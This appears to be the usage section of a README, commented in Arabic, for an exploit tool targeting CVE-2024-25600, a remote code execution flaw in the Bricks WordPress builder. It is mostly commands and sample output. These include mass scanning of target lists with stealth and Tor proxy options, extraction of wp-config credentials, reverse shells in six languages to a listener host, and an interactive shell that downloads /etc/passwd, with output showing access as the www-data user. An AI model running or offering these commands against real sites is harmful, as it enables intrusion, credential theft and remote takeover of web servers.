git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0          # اختياري — دعم وكيل SOCKS5

# صدفة تفاعلية
python3 cve-2024-25600.py -u https://target.example

# أمر واحد
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# مسح جماعي
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# كشف الإصدار
python3 cve-2024-25600.py -u https://target.example --detect-version

# عبر وكيل Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

python3 cve-2024-25600.py --help

python3 cve-2024-25600.py -u https://target.example

python3 cve-2024-25600.py -u https://target.example --cmd "whoami"

python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output

# الحمولة الافتراضية القائمة على استثناء PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# الحمولة القائمة على system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

python3 cve-2024-25600.py -u https://target.example --detect-version

python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"

python3 cve-2024-25600.py -u https://target.example --extract-wp-config

# الطرفية 1 — المستمع
nc -lvnp 4444

# الطرفية 2 — صدفة عكسية bash
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"

# targets.txt — رابط واحد في كل سطر
python3 cve-2024-25600.py -f targets.txt

python3 cve-2024-25600.py -f targets.txt \
  -t 15 \
  --delay 0.5 \
  --stealth \
  -o vulnerable.json

python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt

python3 cve-2024-25600.py -f targets.txt -q -o results.json

# كلا نقطتي النهاية (الافتراضي)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# فقط /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# فقط /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

python3 cve-2024-25600.py -u https://target.example \
  --stealth \
  --delay 1.0 \
  --max-retries 5 \
  --timeout 20

# UA مخصص
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# تعطيل تدوير UA العشوائي
python3 cve-2024-25600.py -u https://target.example --no-random-ua

# وكيل HTTP (مثل Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# وكيل SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (DNS عبر الوكيل / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

# تمكين التحقق من شهادة SSL (معطل افتراضياً)
python3 cve-2024-25600.py -u https://target.example --verify-ssl

# حفظ نتائج المسح كـ JSON
python3 cve-2024-25600.py -f targets.txt -o results.json

# حفظ نتائج المسح كـ TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt

# ملف سجل تطبيق مخصص
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# تسجيل الأوامر المنفذة
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

# تسجيل مفصل / تصحيح
python3 cve-2024-25600.py -u https://target.example -v

# وضع صامت (مخرجات قليلة)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

python3 cve-2024-25600.py -f targets.txt \
  -t 25 \
  --timeout 20 \
  --delay 0.2 \
  --max-retries 5 \
  -o results.json

python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Shell> whoami
www-data

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell> help

[*] Testing: https://target.example
[+] https://target.example is vulnerable!
[+] Interactive shell opened successfully

{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

# فحص هدف واحد مفصل
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# عبر Burp لفحص الطلب
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# تفضيل نقطة نهاية محددة
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

exploit/
├── cve-2024-25600.py     # BricksRCE Exploiter (v1.0)
├── requirements.txt      # تبعيات بايثون
├── README.md             # هذا الملف
├── bricks_rce.log        # سجل وقت التشغيل (يتم إنشاؤه)
└── venv/                 # بيئة افتراضية محلية (اختياري، غير مدرجة)

MIT License

Copyright (c) 2024–2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.